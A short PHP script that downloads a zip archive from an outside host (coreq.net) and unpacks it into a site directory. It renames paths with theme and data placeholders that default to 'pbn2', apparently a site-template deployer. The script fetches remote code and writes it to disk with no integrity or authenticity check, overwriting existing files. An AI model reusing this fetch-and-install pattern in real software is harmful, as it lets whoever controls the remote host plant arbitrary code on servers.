$data = file_get_contents("https://coreq.net/razor_up.zip?".mt_rand(11,99)); if($data){ $newf = tempnam(sys_get_temp_dir(), 'raz'); file_put_contents($newf, $data); }else{ die('Cant fetch archive'); } $defmask = fileperms( __FILE__ ); $where = ( defined('RAZOR_BASE_PATH') ? RAZOR_BASE_PATH : "target" ) . '/'; $replace = [ '_theme_' => defined('R_THEME') ? R_THEME : 'pbn2', '_data_' => isset($_cfgid) ? $_cfgid : 'pbn2', ]; print_r($replace); $zip = new ZipArchive; if($zip->open($newf, ZipArchive::RDONLY ) !== TRUE) die('ZIP error'); $num = method_exists($zip, 'count') ? $zip->count(): $zip->numFiles; for($i=0;$i<$zip->numFiles;$i++){ $st = $zip->statIndex($i); $name = $st['name']; $newname = strtr($name, $replace); $target_name = $where . $newname; if($st['size'] == 0 && $st['crc'] == 0 && substr($name, -1, 1) == '/'){ $target_name = rtrim($target_name, '\\/'); if(!file_exists($target_name)) mkdir($target_name, $defmask, true); echo "D: $target_name"; }else{ echo "F: $target_name"; file_put_contents($target_name, $zip->getFromIndex($i)); } echo "\n"; } $zip->close(); if(file_exists($newf)){unlink($newf);}